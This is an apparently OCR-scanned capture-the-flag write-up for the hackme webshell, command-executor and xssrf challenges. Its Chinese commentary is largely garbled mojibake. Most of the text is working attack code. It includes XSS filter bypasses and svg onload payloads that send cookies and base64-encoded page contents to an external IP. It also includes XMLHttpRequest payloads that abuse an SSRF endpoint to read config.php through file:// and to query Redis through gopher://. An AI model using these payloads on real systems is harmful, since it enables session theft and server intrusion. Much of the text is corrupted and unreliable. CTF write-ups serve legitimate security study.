setegid(gid);

int fd = open(flag, O _RDONLY);

if(fd == -1) {

printf("Can not open file %s\n", flag);
return 2;

}
ssize t readed = read(fd, buffer, sizeof(buffer) - 1);

if(readed > 9) {
write(1, buffer, readed);

}
close(fd);

}

AR IXAFEF 1L flag ME.

echo make_command('$a=\"syste\';$b=\"m\"';$a.=$b;$a(\"./Flag3/meow
webshell

X T, BE T .

command-executor

S wp

Xssme

./flag3/flag3\');"');


https://webshell.hackme.inndy.tw/
https://command-executor.hackme.inndy.tw/
https://xssrf.hackme.inndy.tw/

XSS admin to steal flag

HEOE T xss , ELEFTEHE R cookie o

AiERA A XER, U RAEEEL.

BRI BE N ISR E BLS I, 1 H admin D2 T EYCGEHRFRLR .

P RS admin KEMBE, #EAEAIN js payload, # cookie firid k.

REAMIAEE A, WTRLE C% H ORI, ZREREa A MMEE bot &k, HOTHCKI) FHETERZ

AHEIp e £ 2

BT R T IR

Sl

BLF AT, PUEHUR TSR AL, T LS
REERT R, DL PR

<script

)

onmouseover
2 f%onload
2 f&onerror
<iframe

BB A I :
<svg onload=alert(1);>
<svg/onload=alert(1)>

<svg/onload=prompt (1)
<svg/onload="javascript:alert(1)">

)i payload

<svg/onload="javascript:document.location="http://47.101.220.241:9999?cookie="+document.cookie">

HEW " NN HTML SEARYRAS T
<svg/onload="javascript:document.location.href=("http://47.101.220.241:9999?cookie="+document.cookie)">

SRR I b T — Eed R L R A, KRB RE S payload
<img src=""onerror="&#97;&#108;&#101;8&#114;&#116;&#40;8&#49;&#41;">

15 xss P A 41— TR, 30 B no BT

xssirf leak

Steal flag from source code file

$ern s flag AERAS BLIED, SPATSGEL— T I HE KIS ES .

:d


https://xssrf.hackme.inndy.tw/

<svg/onload="javascript:document.location="http://47.101.220.241:9999?cookie="+btoa(document.body.innerHTML)">

KB innerHTML BidyE, HHt HTML 4wfid—TF

<svg/onload="8&#x6a;&#x61; &#x76; &#X61 ; &#xX73; &H#X63 ; &#X72 ; &#Xx69; &#x70; &#x74 ; &#x3a; &#tXx64 ; &#X6T ; &#X63 ; &#X75 ; &#x6d ; &#x
65;&#x6e;&#x74;&#x2e; &#X6C ; &#X6T ; &#X63 ; &#x61 ; &#x74 ; &#x69 ; &#x6T ; &#x6e; &#x3d; &#x27 ; &#x68; &#x74 ; &#x74 ; &#x70;8&#x3a;&
#x2F ; &2 ; &34 ; &#x37 ; &dtx2e ; &#x31; &#x30; &#x31; &#x2e; &#x32; &#x32; &#x30; &ifx2e; &#x32; &#x34 ; &#x31; &#x3a; &#x39; &#x39
; &#X39; &#Xx39; &#X3T ; &HX63 ; &HXET ; &HXOT ; &HXOD ; &HX69 ; &HX65 ; &HX3d ; &H#X27 ; &HX2b ; &H#X62 ; &HXT 4 ; &#XO6T ; &#X61 ; &#x28 ; &#x64 ; &dtx
6f ; &#x63 ; &#x75 ; &#x6d ; &#x65 ; &#x6e; &#x74; &#x2e ; &#x62 ; &#x6T ; &#x64 ; &#x79; &#x2e ; &#x69 ; &#x6e ; &#Hx6e ; &#X65 ; &#x72;&#x48;&
#x54 ; &#tx4d ; &#x4c ; &#x29; ">

ERIHTML, sk, B OB Mg

<nav class="navbar navbar-expand-1lg navbar-dark bg-dark d-flex">
<a class="navbar-brand" href="index.php">XSSRF</a>

<ul class="navbar-nav">

<1i class="nav-itebSI
<a class=" nav-1link" href="sendmail.php">Send Mail<L2E </1i> <1i class="nav-itebSI
<a class=" nav-1link" href="mailbox.php">Mailbox<L2E </1i> <1li class="nav-itebSI
<a class=" nav-1link" href="sentmail.php">Sent Mail<L2E </1i> <1i class="nav-itebSI
<a class=" nav-link" href="setadmin.php">Set Admin<L2E </1i> <1li class="nav-itebSI
<a class=" nav-link" href="request.php">Send Request</a>

</bGk </ul> <ul class="navbar-nav ml-auto">
<1i class="nav-itebSI

<span class=" navbar-texdCI Hello, admin (Administrator)</span> </bGk <1li class="nav-item">

<a class="nav-1link" href="logout.php">Logout<L2E </1i> </dWw </nav> <div class="containecil

<div class=" card text-white bg-darayI <div class="card-body">
<h2 class="card-titlzSI
4 </h2>
<h4>From: <a href=" sendmail.php?to=jj"“>jj</a></aDQ <div class="card-text"><svg onload="javascript:doc
ument.location="http://47.101.220.241:9999?cookie="+btoa(document.body.innerHTMLKSI </sdmc </daXY
</daxy
</div>
</daxy

KIAEA request.php , TiEEHEVIR, FTE admin .
MIMFALEIED admin U5 — K, SRS RIS B IR [R5 FAT.
RESRFE AT LARAT §s AR T, A EEZMIE— Ajax R, XEHLAREAER Ajax .

<svg/onload="
var x=new XMLHttpRequest();
x.onreadystatechange=function() {
if (x.readyState==4 && x.status==200) {
document.location="http://47.101.220.241:9999/?code="+btoa(x.responseText);

}
x.open("GET", "request.php",true);

x.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
x.send();

>

125 request.php VjinE M

<form action="/request.php” method="POST">
<textarea name="url"></textarea>
</form>



AHMRERX 82, ENSEE url, AERTREXITEER? | file:// HGKR.

<svg/onload="
var x=new XMLHttpRequest();
x.onreadystatechange=function() {
if (x.readyState==4 && x.status==200) {
document.location="http://47.101.220.241:9999/?code="+btoa(x.responseText);

}
x.open("POST", "request.php",true);

x.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
x.send("url=file:///var/www/html/config.php");

>

MINER| flag, HHRRIATF—4 flag 7F Redis H.

xssrf redis

Steal flag from redis

A7 L) ssef , ITHM redis HRKFIRM T .

S/ — FZHIH request.php VGfi5.

<?php
require( ' common.php');
admin_required();
$msg = [1;
$url = '';
$result = '';
if(isset($_POST['url'])) {
$url = $ _POST['url'];
$result = shell exec('curl -m 1 --connect-timeout 1 -s ' . escapeshellarg($url));

¥yit payload 7 T Redis

gopher://127.0.0.1:25566/_info

<svg/onload="
var x=new XMLHttpRequest();
x.onreadystatechange=function() {
if (x.readyState==4 && x.status==200) {
document.location="http://47.101.220.241:9001/?code="+btoa(x.responseText);

}
x.open("POST", "request.php",true);

x.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
x.send("url=gopher://127.0.0.1:25566/_info");

3N

JRYATZEIELR, B R RZPT redis 7, HALWEZELER T, BAFMAT AL %,


https://xssrf.hackme.inndy.tw/
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